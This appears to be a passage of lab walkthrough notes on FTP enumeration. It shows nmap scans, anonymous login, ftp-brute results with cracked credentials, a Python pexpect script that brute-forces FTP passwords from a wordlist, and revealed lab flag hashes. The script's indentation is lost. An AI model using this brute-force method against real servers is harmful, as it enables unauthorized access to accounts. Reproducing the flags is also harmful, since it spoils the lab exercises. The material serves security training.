21/tcp open ftp
| ftp-brute:
| Accounts:
| sysadmin:654321 - Valid credentials
|_ Statistics: Performed 23 guesses in 6 seconds, average tps: 3.8
Extract the 7 flags hidden on the server by logging in to the ftp server with each found user
ftp 192.217.238.3
ftp> ls
ftp> get secret.txt
ftp> exit
root@attackdefense:~# cat secret.txt
Reveal Flag - sysadmin flag is: 🚩
260ca9dd8a4577fc00b7bd5810298076
Reveal Flag - rooty flag is: 🚩
e529a9cea4a728eb9c5828b13b22844c
Reveal Flag - demo flag is: 🚩
d6a6bc0db10694a2d90e3a69648f3a03
Reveal Flag - auditor flag is: 🚩
098f6bcd4621d373cade4e832627b4f6
Reveal Flag - anon flag is: 🚩
1bc29b36f623ba82aaf6724fd3b16718
Reveal Flag - administrator flag is: 🚩
21232f297a57a5a743894a0e4a801fc3
Reveal Flag - diag flag is: 🚩
12a032ce9179c32a6c7ab397b9d871fa
Lab 2
Target IP: 192.119.169.3
ip -br -c a
eth1@if170803 UP 192.119.169.2/24
Target IP is 192.119.169.3
nmap 192.119.169.3
21/tcp open ftp
nmap -p21 -sV -O 192.119.169.3
21/tcp open ftp vsftpd 3.0.3
📌 FTP server version vsftpd 3.0.3
nmap --script ftp-anon -p21 192.119.169.3
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 33 Dec 18 2018 flag
|_drwxr-xr-x 2 ftp ftp 4096 Dec 18 2018 pub
📌 Anonymous FTP login allowed
ftp 192.119.169.3
# Use anonymous:anonymous to login
Name (192.119.169.3:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp> get flag
ftp> exit
root@attackdefense:~# cat flag
21/tcp open ftp
| ftp-brute:
| Accounts:
| billy:carlos - Valid credentials
|_ Statistics: Performed 78 guesses in 55 seconds, average tps: 1.5
📌 billy's password is carlos
A custom script to attemp the logins is required if automated dictionary attack do not work, since the server terminates the sessions after 3 login attempts.
e.g. python script:
nano billy.py
import pexpect
import sys
username=sys.argv[2]
password_dict=sys.argv[3]
# Loading the password dictionary and Striping \n
lines = [line.rstrip('\n') for line in open(password_dict)]
itr = 0
# Iterating over dictionary
for password in lines:
child = pexpect.spawn ('ftp '+sys.argv[1])
child.expect ('Name .*: ')
child.sendline (username)
print "Trying with password: ",password
child.expect ('Password:')
child.sendline (password)
i = child.expect (['Login successful', 'Login failed'])
if i==1:
#print('Login failed')
child.kill(0)
elif i==0:
print "Login Successful for ",password
print child.before
break
python billy.py 192.14.30.3 billy /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
Login Successful for carlos
Fetch the flag using billy:carlos credentials
ftp 192.14.30.3
ftp> ls
ftp> get flag
ftp> exit
root@attackdefense:~# cat flag